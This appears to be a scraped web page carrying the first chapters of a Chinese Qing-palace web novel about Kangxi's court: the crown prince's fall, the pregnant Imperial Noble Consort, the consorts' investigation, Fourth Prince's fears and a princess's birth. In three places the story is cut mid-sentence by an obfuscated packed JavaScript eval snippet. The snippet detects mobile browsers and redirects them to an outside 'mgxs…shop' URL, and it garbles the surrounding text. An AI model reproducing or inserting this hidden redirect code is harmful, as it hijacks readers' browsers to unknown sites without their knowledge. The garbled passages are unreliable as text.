《公主无所畏惧(清穿)》 1. 雅尔哈 康熙二十二年,夏。 过了端午,天气越发燥热,紫禁城内也不太安稳。 先是皇贵妃御花园跌倒,差点小产,经太医把脉只能卧床修养,后是太子不慎坠马,昏迷了两日,至今未醒。 两位都是紫禁城的重量级人物,眼下出了事,皇上盛怒不已,下令内务府彻查,宫女太监们都绷紧了皮子,生怕行差踏错一步就进了慎刑司,来个有去无回。 “毓庆宫那边可有消息了?” 皇贵妃斜斜靠在石青色织锦软枕上,面容苍白,神色带着除之不去的疲惫。 她这一胎怀得格外艰难,初有孕时便孕反严重食不下咽,后来接连不断的水肿与小腿抽筋更是夜不能寐,不过几个月的时间便消瘦得人都薄了一层。 青杏小心翼翼捧了安胎药进来,她说话总是慢声细语的,刚好能抚平皇贵妃有些没来由的焦躁,“回主子,皇上和太医们如今都守在毓庆宫呢,太子殿下得皇上龙气庇佑,总能大好的。” “别拿这些话来哄我,”皇贵妃有些厌倦地接过安胎药,“本宫是真心实意希望太子早日醒过来,不然这后宫以后不知道能乱成什么样子。” 皇上早些年子嗣不丰,如今也没有好到哪里去。 除开太子外,如今已经入了尚书房的阿哥只有两位,分别是惠妃所出的大阿哥与荣妃所出的三阿哥。 母以子贵,若是太子这位嫡子出了什么差错,大阿哥这位长子的份量自然又不同了,如今惠妃瞧着是个好的,可谁能说得清楚以后呢。 皇贵妃一口气将安胎药闷了下去,又吃了两颗蜜饯压制苦味,这才接着道:“毓庆宫那边的消息仔细关注着,还有惠妃与荣妃不是在查御花园的事儿,查得怎么样了?” 自打怀孕后,皇贵妃便将宫权交了出去。 原本是贵妃定夺,惠宜德荣四妃从旁协助,可不巧的是贵妃宜妃德妃接连有孕,这后宫事务最终便交给了惠妃荣妃二人。 她们两人都是后宫老资历了,自个儿的延禧宫和钟粹宫管得不错,瞧着手段也不缺,怎么查个事这么墨迹。 “惠妃与荣妃两位娘娘如今正忙得脚打后脑勺呢,”一个瘦瘦高高,脸上带着和蔼笑容的嬷嬷对着皇贵妃屈膝行了个礼,又接替过青杏的工作,轻柔缓慢地为皇贵妃揉捏着酸胀的小腿,用话家常的语气缓缓说着其中缘由。 “皇天菩萨保佑,太子殿下刚巧醒过来了,只是似乎伤了脑子,有些不认人,也不记得是怎么坠马的了。” “恰巧当时太子殿下正与大阿哥和三阿哥一道上武课,如今太子殿下醒了,皇上也开始处理这事,传了大阿哥与三阿哥前去问话,听说两位阿哥正在毓庆宫书房跪着呢。” “这事儿真的与大阿哥三阿哥有关?”皇贵妃皱起眉头,被按得昏昏欲睡的精神也清醒了些,“校场那么多谙达侍卫,怎么会说不清楚太子坠马的经过?” 皇子金贵,太子更是金贵中的金贵,跑马时太子身侧可是有谙达随侍的,更别说校场旁的侍卫了,那可是不错眼地盯着,毕竟太子若是出了事谁都活不了。 “都说太子殿下坠马是个意外,”章嬷嬷语气平缓,“况且谙达接得及时,太子殿下并没有真的坠马,太医检查过了,太子殿下连皮毛都没有伤到,就是不知怎么的昏迷不醒。” “不知缘由的昏迷最为致命,差点皇上都怀疑太子殿下是被下了毒,若不是太医诊断了一天一夜,全都用项上人头保证,太子殿下只是睡着了,不然······” 不然一个都活不了。 今天能让太子不知不觉的中毒,明天就能谋害一国之君,这谁能安心。 章嬷嬷是皇贵妃的奶嬷嬷,从小伺候着她,后来跟着入了宫,帮着皇贵妃管理承乾宫上下,这后宫不可说道的地方多了去了,便是太子又如何,元后嫡子也是夭折过的。 所以她才更要盯好自家主子这胎。 见皇贵妃揉了揉眉心,瞧着精力不济的模样,章嬷嬷宽慰道:“这事再怎么说也牵扯不到主子这里,太医说孕中少思为妙,容奴婢说句大不敬的话,天塌下来也有皇上顶着,眼下最要紧的事,还是主子腹中的皇嗣啊。” 道理谁都懂,可处在皇贵妃这个位置,半点不思考是不可能的事。 “罢了,”皇贵妃挥了挥手,“派人开库房给毓庆宫送些滋补的药材去,虽然皇上和太子都不缺这些,但多少也是个心意。” 皇贵妃沾了个副后的名头,偏偏又不是正儿八经的皇后,做不得皇子嫡母,导致她对太子也束手束脚的,半点不关心说不过去,关心过了又担心皇上有想法,真是轻不得重不得。 —— 毓庆宫。 康熙大马金刀地坐在紫檀木云龙椅上,周身散发着凛冽的寒气,面无表情地盯着正在为太子把脉的太医令。 太医令跪在榻前,身后的衣裳干了又湿湿了又干,颤颤巍巍地收回为太子把脉的手,恭恭敬敬道:“太子殿下脉象平稳,并无大碍。” 被把脉的对象睁着眼睛,和康熙如出一辙的面无表情,一瞧便是亲父子。 太子看了看康熙,又看了看太医,不知是又晕过去了还是不想搭理人,闭上了眼睛。 康熙刚放下的心又悬了起来,看向太医令的眼神已经带上了杀气。 在康熙心里,他的宝贝太子孝顺乖巧,是顶顶好的孩子,怎么可能会做出不理人的事,必定是有什么太医令没把脉出来的病灶,导致太子又昏迷了过去。 甚至刚才太子睁眼那一会儿都是想着他这个皇阿玛,不想让皇阿玛过于担心,勉强睁开的。 太医令在心里暗暗叫苦,更是有些没底。 这脉象没把错啊,太子殿下健康得像头小牛犊子,能立马绕毓庆宫跑三圈,怎么刚睁开眼睛就又闭上了? 但奈何,为了九族,太医令尝试施针。 银针尚未扎到太子身上,太子便又睁开了眼睛,直愣愣地看着康熙,疑惑地唤了一声:“皇阿玛?” 太医令麻溜地收回银针。 太好了,九族又保住了。 年不过三十的康熙如今正处于春秋鼎盛时期,骨架匀称,肩背挺直,早些年出天花留下的痕迹如今已经淡不可见,只是不眠不休地守了太子两日,眼下不可避免地带上了些许青黑。 看着陌生又熟悉的身影,太子垂下眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480686|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘,“皇阿玛,儿臣这是怎么了?” 康熙已经坐到了太子床边,伸手轻轻抚上他额角,“太医说你的身体并无大碍,保成,还记得自己是如何坠马的吗?” 太子摇头,声音里带着几分虚弱,“儿臣坠马了吗?” 年仅九岁的太子外貌随母,肤色是类似于细瓷的白,眼型狭长,眼角微微往上挑,此时刻意垂着眼帘,瞧着有些可怜。 康熙为太子掖了掖被角,“保成好好休息便是,朕会查明白的。” 太子乃元后赫舍里所生,康熙怜惜他出生丧母,此后便将太子养在了乾清宫亲自抚养,直到今年三月才搬进了特地为太子修缮的毓庆宫,就算如此,太子一个月中也有半数歇息在乾清宫。 其他皇子加一起捆在一堆也比不上太子在康熙心里的地位。 比如倒霉的大阿哥和三阿哥。 大阿哥是真的觉得自己倒霉,无端受了灾祸。 太子自个儿骑术不过关关他什么事啊,太子坠马又不是自己害的,皇阿玛这是迁怒! 跪在毓庆宫书房里的大阿哥非常想去大声向康熙表示抗议,但是他不敢,只敢骚扰一下身旁跪得板正的三阿哥。 “三弟,”大阿哥用手肘了肘三阿哥,“咱们跪了多久了?” 按理来说尚书房不兴体罚皇子那套,大阿哥和三阿哥进入尚书房后吃过最大的苦就是练习马术时被磨破的大腿,大阿哥还能因为自己的调皮捣蛋加几项,比如被罚抄书,被罚写大字······ 总之全是精神折磨。 三阿哥比不得大阿哥折腾,再加上他在诗书典籍方面颇有天赋,更是很少被罚。 这还是三阿哥第一次被康熙罚跪。 “大哥,才过了一盏茶时间,”三阿哥怀疑大哥身上有跳蚤,不然他怎么一直动来动去浑身刺挠,他很有礼貌地向大阿哥请求,“大哥,麻烦稍微离我远一些。” 他不想被传上跳蚤。 面对三阿哥诚恳的请求,大阿哥选择了——置之不理。 他甚至往三阿哥身旁更靠了些,方便两人说悄悄话。 大阿哥环视了周围一圈,见守在门口的小太监没有阻拦他们的意思,偏过头,对着三阿哥耳语:“三弟你说,太子二弟真的不好了吗?” 他还是有点眼力见的,不好当着毓庆宫小太监的面说太子的不是,主要担心小太监转头就禀告给了皇阿玛。 平时和太子斗嘴还好,现在太子这情况,大阿哥也不想咒他。 三阿哥依旧脊背挺直,跪得板正,没搭理大阿哥。 大阿哥丝毫不气馁,继续在三阿哥耳边述说着自己的少年心事,“其实我还是挺希望太子好起来的。” 三阿哥有些诧异地看了大阿哥一眼。 大阿哥恼羞成怒:“你在想什么,难道我是什么狠毒且不顾手足情谊的人吗,虽然我和太子不对付,但他好歹也是二弟,哪有希望弟弟去死的。” 再说了,他是那种胜之不武的人吗,他要的是堂堂正正胜过太子,让皇阿玛承认自己比太子更优秀,而不是这种靠耍手段得来的东西。 他,爱新觉罗胤禔,有的是骨气! 2. 雅尔哈出生了吗 有骨气的大阿哥被康熙骂了个狗血淋头。 骂他不知尊卑有序竟敢和太子拌嘴,骂他不懂得关爱弟弟丝毫没有兄长风范,太子如今躺床上他还与三阿哥说笑,总之大阿哥被康熙从言行举止到品性气度挨个儿批评了遍,连一直跪得端正寡言的三阿哥也没有逃过,两人被小太监扶着一瘸一拐地回了阿哥所。 “皇上这也太过偏心了些,”惠妃想起大阿哥跪得青一块紫一块的小腿便忍不住对康熙心有埋怨,“难道就只有太子是皇上亲子不成,太子坠马毫发无损,保清却跪得膝盖发青发紫,不过十一岁的孩子,皇上真是……” 惠妃不甘地将后面大逆不道的话咽了下去。 虎毒还不食子呢,皇上比老虎还狠心。 “这话可不敢乱说,”兆嬷嬷被惠妃的口无遮拦吓了一跳,连忙起身看了一眼窗外。 还好她早就将屋里伺候的人都打发了出去,不然这番话传出去,别说娘娘是妃位了,就算是贵妃甚至皇贵妃也讨不着好啊。 “雷霆雨露具是君恩的道理主子应该比奴婢明白,”兆嬷嬷苦口婆心劝慰着惠妃,“太子殿下是嫡子,又是储君,如今受了苦皇上心里烦躁,并没有对大阿哥不满的意思啊。” 皇上责骂大阿哥与三阿哥的话外人并不知晓,就连她们也是从大阿哥口中得知的,可见皇上还是为两位阿哥保留了些颜面的。 这些道理惠妃怎么会不懂,她是伺候皇上的老人了,当初也是得宠过的,若是没点心计手段,如今这妃首的位置也不会由她坐着。 但惠妃就是忍不住对康熙心生怨怼。 她的承庆年幼早夭,保清更是被送出宫由大臣抚养,整整五年不得见,她日夜期盼,拜神求佛才得了这么个健康的孩子,生怕磕着碰着,偏偏到了皇上那里保清就成了一根草,处处比不上太子也就罢了,怎么太子出了事也要迁怒到保清身上。 又不是保清害得太子坠马,怎么皇上还能罚到保清身上。 这也太过不讲理了。 “皇上当真是不讲道理,”荣妃的声音也难得带上了怒火,又忍不住嘲讽道,“也是,皇上是天子,是所有人的主子,主子做事何必顾忌咱们这些做奴才的心情。” 她夭折了四个孩子才立住了如今这一子一女,对三阿哥与三格格唯一的期盼也只是平平安安长大就好,别的什么她都已经看淡了。 可偏偏······ 观世音菩萨与地藏王菩萨的面容在袅袅升起的檀香中格外模糊,荣妃怔怔看着长条案上自己虔诚抄写下的《地藏菩萨本愿经》,沉默下来,小佛堂静得能听见灯烛偶尔爆出的轻微噼啪声。 过了好一会儿,荣妃终于开口,“送些上好的伤药去阿哥所吧,估计这会儿太医都在毓庆宫守着呢,再让小厨房做些枣糖糕,多搁些糖霜,小孩子爱吃这个。” 她的心气早就在不断的失子中磨没了。 荣妃曾经也是冠绝一时的宠妃,那会儿的她年轻娇俏,爱玩爱闹,皇上也宠着她,偶尔连赫舍里皇后都要暂避锋芒,后宫没有比她更得意的妃嫔了。 承瑞,赛音察浑,长华,长生,皇上的宠爱让她不停的生育,更让她跪在小佛堂里送走一个又一个来不及长大的孩子,后来她见到皇上便忍不住想,皇子重新序齿之后,皇上还记得他曾经夭折过的孩子吗? 她忍不住想,更忍不住怨,最后只觉得累。 不可心生怨怼,要礼数周全,要恭敬侍奉,她还有一双儿女,总要为儿女想一想。 在小佛堂跪了半个时辰,又亲手抄写了一卷佛经,荣妃心绪终于恢复了往日的平淡无波,“御花园那事儿查得怎么样了?” 宫权被皇贵妃交到自己与惠妃手里,如今出了事,她们少不了担一个失察的罪过,当务之急是查明事情经过,尽量弥补一二。 “揪出来两个小宫女并一个小太监,说是意外,不小心在台阶上洒了水,尚未来得及清理皇贵妃娘娘便到了,这才让皇贵妃娘娘跌了一跤,”素梅为荣妃捧上一盏热茶,小心翼翼瞧着她的脸色,“别的再查不出什么了。” 荣妃接过热茶,垂眸吹了吹升腾的热气,“以往犯了错事的宫女太监们是如何处理的?” 宫里不可能宫女太监们都是谨慎性子,这些年犯了错事的宫女太监也不少,有失手砸碎花瓶的,有不注意冲撞庶妃的,还有不小心将石子落在宫道上的,犯小错打回去由内务府重新分配,犯大错的便只有进慎刑司了。 素梅知晓自家主子办事向来求稳,主动提议道:“皇贵妃娘娘是此次的苦主,主子若是拿不定主意,赶明儿问过皇贵妃娘娘的心意便知晓该如何处置了。” —— 有孕之人忌寒,因此虽然皇贵妃份例里的冰块足够她舒舒服服地过完这个夏天,正殿内却依旧只在角落里摆放了两只冰盆,更多是借着窗缝透进的微风,稍稍驱散暑气。 昨日惠妃与荣妃便派人贴身宫女到承乾宫通禀,说是未时三刻到访,因此皇贵妃用过午膳便命人上了妆,又换上一件宽松的秋香色织金纱袍,等着两人上门。 章嬷嬷心疼皇贵妃劳累,站在她身侧两三尺的地方轻轻摇着蒲扇,“夫人已经递了牌子,再过几日便入宫了,到时候主子可得好好歇息,万不可再费心劳神了。” 宫里的规矩,妃嫔生育,可请娘家人进宫陪伴两个月,一来解思乡之苦,二来也能有个贴心人在身边照料。 皇贵妃的预产期在六月中旬,章嬷嬷已经命人将西偏殿收拾妥当,只等赫舍里夫人入宫了。 说起额娘,皇贵妃施了淡淡脂粉的脸上终于浮现出笑意,“额娘素来妥帖周到,有额娘在,本宫自然能安心几分。” 赫舍里夫人出身大族,若要论关系,她与元后是本家,赫舍里皇后在时还得唤她一声姑姑。 大族出身,又不缺乏手段本事,赫舍里夫人将后宅管理得妥妥帖帖,又疼惜大女儿注定要为家族入宫,除开必要教导的规矩手段外,其余便对皇贵妃多有纵容,皇贵妃幼年时也是个能将佟府闹得鸡犬不宁的主。 回忆起那难得松快的几年,又与章嬷嬷说起尚在府中时的趣事,皇贵妃原本苍白的脸上都多了些血色。 闲话间,一道轻快的步伐慢慢走近,竹帘被掀开,一脸恭敬模样的宫女到皇贵妃跟前福了身,轻声道:“主子,延禧宫的惠妃娘娘与钟粹宫的荣妃娘娘给您请安来了。” 章嬷嬷敛起笑容,收了蒲扇,垂手退至一旁。 皇贵妃神色温和,淡淡吩咐道:“请她们进来。” 惠妃与荣妃在宫里待了多年,规矩早已刻进了骨子里,两人并肩走入,眼神落在皇贵妃座前三尺的地砖上,屈膝行礼道:“臣妾给皇贵妃娘娘请安,娘娘万福金安。” “都起来吧,”皇贵妃微微抬手,“赐座。” 因着怀孕不便移动的缘故,皇贵妃并没有在平日里接受妃嫔们日常请安的地方接见惠妃与荣妃,而是选在了东次间,这里并没有摆放座椅之类,两个年轻的小宫女搬来了绣墩,惠妃荣妃一左一右坐下了。 皇贵妃让人上了茶水,又与惠妃寒暄了几句:“八阿哥可还好?” 按照宫里的规矩,嫔位以下不得教养皇子,宫里如今共有八名皇子。 大阿哥与三阿哥搬去了阿哥所,太子住在毓庆宫不必多言,四阿哥的生母是德妃,如今养在承乾宫也就是皇贵妃名下,五阿哥为宜妃所生,满月便被抱去了寿康宫由太后抚养。 六阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480687|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥养在永和宫,是德妃次子,七阿哥为戴佳庶妃所生,带有足疾,养在了兆祥所,卫庶妃所出的八阿哥原本也养在承乾宫,但皇贵妃自怀孕后便精力不济,担心自己照顾不好八阿哥,康熙便将八阿哥送去了延禧宫由惠妃抚养。 不过虽然如今八阿哥交由惠妃抚养,但他毕竟也在承乾宫待过,有那么几分情谊,皇贵妃也不至于扭头就把他给忘了。 惠妃自是回答一切都好,又问起皇贵妃身体如何,同荣妃一道说了些自己当初有孕时的注意事项,皇贵妃也给面子地听着。 其乐融融了一阵,惠妃与荣妃默契对视一眼,惠妃主动提起御花园的事:“臣妾与荣妃妹妹挨个查过了,两个宫女和一个小太监也都问过了话,说是那会儿八角亭边上的芍药缺水,宫女浇水时不小心洒了些在台阶上,那会儿日头不大,另一名宫女又想着时辰尚早,便没有及时收拾干净,惹了这一出事来。” 说着,惠妃的贴身宫女将一折册子呈上,青杏伸手接过了,又恭敬递给皇贵妃。 皇贵妃翻看着印有惠妃与荣妃私印的证词,面上看不出喜怒。 两人知晓皇贵妃这是不满意她们没追究到底查清楚,齐齐离开绣墩,跪下请罪。 “宫人犯错归根结底还是主子管教不严约束无方,”皇贵妃将册子扔在一旁,淡淡道:“御花园管事的罚三个月月俸,你们二人罚两个月,以儆效尤。” 不是皇贵妃不想追究到底,只是她已经有孕九个月了,眼看就要临盆,只不过坐了这么一会儿便腰酸得厉害,实在是没有精力来处理这些事情。 惠妃与荣妃诧异地对视一眼,似乎没想到皇贵妃竟然就这么轻轻放过了。 不过大家都是察言观色的好手,也都生育过,最是知晓这怀孕的苦楚,见皇贵妃不自觉地揉腰吸气,便知道她难受得厉害,有眼色地告辞了。 两人刚踏出正殿,皇贵妃便撑着扶手,缓缓靠在了软垫上,闭着眼睛缓了好一会儿,这才吩咐道:“扶本宫回去躺着,这腰腹实在沉得慌。” 章嬷嬷连忙上前,又示意两个身强力壮的宫女一左一右将皇贵妃搀扶着,试图用话题引开皇贵妃的注意力。 “想着主子爱吃酸,奴婢前些日子用蜂蜜渍了些杏干,算算时间也该好了,主子待会儿可要含上一颗?” 皇贵妃慢慢走动着,闻言淡淡嗯了一声,又想起什么,“就算本宫即将有亲生的孩子,四阿哥那里也不要怠慢了,一应吃穿用度还是比照着之前的来,底下人也劳烦嬷嬷敲打敲打,让她们紧紧皮,不许慢待了阿哥。” 她是知晓宫人们捧高踩低见风使舵的本事的。 章嬷嬷连忙保证道:“主子放心,四阿哥那里奴婢一直亲自盯着,两个嬷嬷也都是信得过的人,只是担心阿哥年幼不小心冲撞了主子这才拦了阿哥几回,万万没有慢待四阿哥的意思。” 这些在章嬷嬷看来都是小事,五六岁的稚童本就没个轻重,主子这一胎又格外磕碰不得,要小心一些才好。 固然知晓章嬷嬷做这些都是为了自己好,是念着自己腹中的皇嗣,但皇贵妃还是忍不住有些气闷。 她是个眼里容不得沙子的性子,要做就要做到最好,不然宁可不做。 当初皇上说要将四阿哥交给自己抚养,她念着自己入宫久久未孕,可是向皇上保证过,会将四阿哥视如己出的,如今又闹了这么一出。 在外人看来,章嬷嬷的意思就是自己的意思,这不是明晃晃告诉众人,自己即将有亲生的孩子便不重视养子了吗。 虽然这也是人之常情,但皇上将四阿哥交给她可不是让人轻慢的。 皇贵妃难得声音重了些,“嬷嬷,四阿哥是皇上的血脉,更是承乾宫的小主子!” 3. 雅尔哈 承乾宫正殿面阔五间,明间开门,左右各附有两间耳房。 正堂,也就是明间,设宝座屏风与六把紫檀木螺钿织金靠背椅,妃嫔们的日常请安便是在此处。 往右边走便是东次间,与明间用落地罩隔开,靠南窗设有暖炕,里面陈设有插屏和三足鼎式珐琅香炉,布局精巧雅致,是皇贵妃日常休闲之处。 再往里走便是东里间了,是皇贵妃起居的内寝。 被章嬷嬷请到承乾宫东里间时,四阿哥面上不显,心里却有些忐忑。 这些时日里宫人们虽然对他依旧恭敬,章嬷嬷也和善客气,但几次想要见额娘却被章嬷嬷以额娘身子不适不许人打扰推拒,便是再迟钝他也该明白,有什么东西不一样了。 四阿哥打小就是个敏感性子,脾气也倔,三岁时不小心跌了一跤,膝盖都磕破了,硬是不哭不闹,奶嬷嬷伸手想将他抱起,他也不理,直到皇贵妃亲自来寻他,才瘪着嘴,眼泪要掉不掉地让皇贵妃抱。 那会儿正好是八阿哥被送到承乾宫,四阿哥刚得知自己不是皇贵妃亲子的时候。 他那时便知晓了养子与亲子的区别,奶嬷嬷告诉他,虽然他不是皇贵妃娘娘亲子,但人与人之间关系都是相处出来的,不是亲子又如何呢,皇贵妃娘娘疼爱他的心情做不得假,想要养好一个孩子,其中耗费的心力更是实打实的。 四阿哥当时听得懵懵懂懂,但见后来额娘待八弟不如待他亲近,便将这一茬渐渐放下了。 如今情景重现,只是这次不再是同样被送到承乾宫的其她妃嫔的孩子,而是真真切切的额娘亲子,四阿哥忧心自己会同八弟一样被送走,更担心章嬷嬷请他过来是为了说送走之事,见到皇贵妃便有些拘谨,像乌龟挪动似的磨磨蹭蹭到了皇贵妃跟前,也不说话,就这么低头看着自己脚尖。 见他这幅模样,皇贵妃微不可察地叹了口气。 身上那件纱袍,袖口领口的八宝葫芦纹样还是她亲自一针一线绣上去的,如今瞧着都起毛边了,这孩子该不会入了夏便整日穿着不曾换过吧? 她知晓这孩子脾气倔,奶嬷嬷是拗不过的。 “站那么远做什么,过来让额娘仔细瞧瞧。” 四阿哥站在原地不动,不知何时泪流满面,自个儿用手背胡乱抹了一把。 青杏有眼色地屏退了房间内伺候的其她宫女,连拉带扯地将章嬷嬷也弄了出去,自个儿守在小厅隔断处,不让其她人听见屋里的动静。 皇贵妃伸手,将四阿哥拉在床榻边缘处坐下,又捏了一块锦帕,仔仔细细为四阿哥擦着眼泪,轻声哄道:“可是这段时间受委屈了?不要怕,额娘在这儿呢。” 一听这话,四阿哥更忍不住了,原本还是默默哭泣,哭着哭着便放开了声音,抽抽噎噎的,“额,额娘,不,不要送我走。” 四阿哥是十月末的生辰,算一算年纪,如今连五岁都不到。 皇贵妃怜惜他这段时间受了忽视,更诧异他的说法,“可是有人在你面前嚼舌根子了,谁告诉你额娘要送走你的。” 四阿哥可怜巴巴又带着些不好意思,耳尖微红不敢看皇贵妃的眼睛,磕磕绊绊道:“我,我自己想的。” “八弟前些日子被送走,我问嬷嬷,嬷嬷说是去了延禧宫惠妃娘娘处,八弟的额娘就在那里,八弟是额娘养子,我也是,八弟被送走是因为额娘有孕精力不济照顾不好八弟。” 他条理清晰,刚哭过的眼睛黑白分明,期盼地望着皇贵妃,“我已经长大了,可以自己照顾自己,额娘不要送我走好不好。” “八阿哥被送去延禧宫是因为惠妃才是皇上为八阿哥寻的养母,”皇贵妃没因为四阿哥年纪小就敷衍他,宫里的人都早熟,她不希望四阿哥以后沉浸在会被随时送走的阴影里,掰开了与他说道。 “当初八阿哥诞生时,八阿哥生母位分不够不能亲自养,嫔位里也没有合适的人选,贵妃那会儿刚入宫还不到一年,皇上担心她年轻养不好孩子,只有额娘,位分足,也有养着你的经验,皇上便将八阿哥送来了承乾宫,由额娘暂时养着。” “后来额娘被封为皇贵妃,顶着副后的名分,本就有教养皇嗣之责,皇上一时半会儿也选不出八阿哥养母,便与额娘商讨,先将八阿哥养在承乾宫,等三岁之后贵妃资历足够,再交给贵妃抚养。” “可额娘与贵妃宜妃德妃都有了身孕,八阿哥便不好安排了,皇上思前想后最终定下了惠妃,惠妃性子好,大阿哥如今也在阿哥所住在,是最合适的人选了。” 一通解释下来,皇贵妃口干舌燥,喝了口蜜水润润喉这才接着道:“你不同,额娘以后是要看着你长大娶福晋的。” 见四阿哥眼睛亮晶晶的,开始抿着嘴笑,皇贵妃便知道这通话他是听进去了,好笑地摸了摸他肉嘟嘟的腮帮子。 “就算有了弟弟妹妹,你也依旧是额娘的孩子,以后不许再说送走之类的话了。” 四阿哥狠狠点头,又好奇地看向皇贵妃薄被下隆起的腹部,“额娘,是弟弟还是妹妹?” “还不知道呢,”皇贵妃神色温柔,“要等一个月后才知晓,要摸一摸吗?” 奶嬷嬷曾经告诉过四阿哥,面对皇贵妃不许莽撞,不许像以前那样扑进皇贵妃的怀里,更不许没轻没重碰到皇贵妃肚子。 但面对额娘的邀请,四阿哥还是没忍住,轻轻将手贴在皇贵妃肚子上。 有什么东西顶了他的手心一下。 四阿哥睁大眼睛,一动不动。 又被顶了一下。 “额娘!”四阿哥压低声音,生怕吵到弟弟妹妹,但还是掩饰不住激动的心情,“额娘,动了!” 皇贵妃怀的这一胎是个活泼的,时常动动手脚和皇贵妃打招呼,皇贵妃最初也一惊一乍的,现在已经能从容对待了。 “弟弟妹妹知道哥哥来了,在和你打招呼呢,”皇贵妃面不改色抄袭了当初章嬷嬷对她的说辞,只是将额娘改成了哥哥。 “我要当哥哥了!”四阿哥现在才对弟弟妹妹有了实感,他依依不舍地将手挪开,对皇贵妃郑重其事道:“我一定会当一个好哥哥的。” 立誓要当好哥哥的四阿哥回去就将自己的玩具和启蒙书籍整理了出来,又觉得要对弟弟妹妹一视同仁,让奶嬷嬷去搜集些格格们喜欢的物件,最后整理了两个小箱子,准备带着弟弟妹妹一道玩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480688|201717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >时间在四阿哥的日盼夜盼下来到了六月。 产阁自打皇贵妃有孕那会儿便备好了,是承乾宫正殿的东耳房,章嬷嬷亲眼盯着宫人糊了新的窗纸,又在炕上铺了一层厚厚的细毯和草纸,垫得软软的,只求皇贵妃生产时少受一些累。 六月的阳光毒辣火热,候在庭院里的嫔妃们被晒得脸颊通红,额角也渗出了细汗,但她们却不敢抱怨动弹,皇上也在前面站着呢,难道她们还能比皇上金贵不成? 康熙默默捻动着手上的菩提子佛珠,忽然道:“皇贵妃进产阁多久了?” 这不是他第一次守在产阁前了。 皇后生育了两次,第一次是历经一天一夜诞下嫡长子,他高兴极了,当即为孩子取名承祜,意为承受上天之福,可天不假年,承祜四岁夭折。第二次是保成,他从清晨守到傍晚,得了健康的皇子却失去了少年夫妻的皇后,从那之后他便不曾再守着妃嫔生育了。 不过表妹到底与寻常嫔妃不同。 想起额娘在去世前曾拉着自己的手,满眼不舍,说再不能照顾自己,深宫寂寥,高处不胜寒,她别无所求,只希望自己能有个贴心人陪伴在身边,事事为他着想,让他偶尔有个歇歇脚的地方。 还没自己肩膀高的小姑娘哭得像个花脸猫似的,拉着自己的手向额娘保证,说一定会照顾好皇上表哥,给皇上表哥吃好吃的点心,穿好看的衣裳,皇上表哥夜里踢被子她就给盖上,一定让皇上表哥健健康康高高兴兴的。 那是一个孩子能拿出的全部东西,也是最能想到对一个人好的方式了。 一旁的梁九功看了眼天色,小心翼翼回答道:“回主子,两个时辰了。” 皇贵妃娘娘卯正发动,那会儿朝阳初升,如今太阳高高悬挂在头顶,已是午时了。 康熙嗯了一声,继续捻佛珠。 产阁内。 皇贵妃躺在产床上,头发披散着,豆大的汗珠滚滚而下,嘴里咬着一方锦帕,避免叫喊失了力气。 接生嬷嬷在皇贵妃耳边指挥她调整呼吸。 “娘娘吸气。” “娘娘呼气。” “娘娘再使些劲,小主子要出来了!” “快端参汤来,娘娘没力气了!” “生了,生了!” 接生嬷嬷惊喜地将孩子抱起来,剪了脐带,仔细检查了一番,伴随着婴啼扬声道:“娘娘生了位健康的小格格!” “赏!”得到消息,康熙大手一挥便给承乾宫上下赏了三个月月例,接生嬷嬷们再格外赏赐了一百两。 现场一片喜气洋洋。 “皇上待皇贵妃娘娘可真好,格格也这般看重,”皇贵妃生产完毕,妃嫔们也不必在外候着了,承乾宫回各自宫殿的路上,不知哪个小常在满是艳羡地来了这么一句。 宫里有个不成文的规矩,妃嫔生育,若是阿哥赏赐接生嬷嬷一百两,格格赏赐五十两,皇贵妃诞下格格,比照的却是阿哥规制。 “皇贵妃娘娘母女平安,皇上自然高兴,”荣妃扫了小常在一眼,见是刚入宫的愣头青再没有了说话的兴致,淡淡丢下一句,“便是格格,也是皇上血脉,比寻常妃嫔们尊贵。” 4. 雅尔哈 奶嬷嬷是早就备好了的,自皇贵妃传出有孕消息那日起,内务府便开始在上三旗包衣妇女里寻摸,最后仔仔细细挑出了六位奶嬷嬷送到承乾宫由皇贵妃挑选,皇贵妃挑了四位,还有两位也暂时留在宫里,以备不时之需。 都是生养过不止一个孩子的妇女,按理来说嬷嬷们经验丰富,什么样的小孩没见过,但此刻她们面面相觑,还真是不知道该怎么办才好。 “哇——哇——” 刚出生没几日的婴儿在嬷嬷怀里哭得撕心裂肺,不管嬷嬷怎么哄,怎么安抚就是不停下来,自顾自地哭嚎着。 钱嬷嬷抱着小格格一脸苦涩,“这,格格一直啼哭,可要请太医来瞧瞧?” 婴儿啼哭无非就是几种情况,离她们上次喂奶不过半炷香的时辰,小格格肚子现在还微微鼓着,尿布也才刚刚换过,小格格身上干爽没有能让她不舒服的地方,那只能是病了。 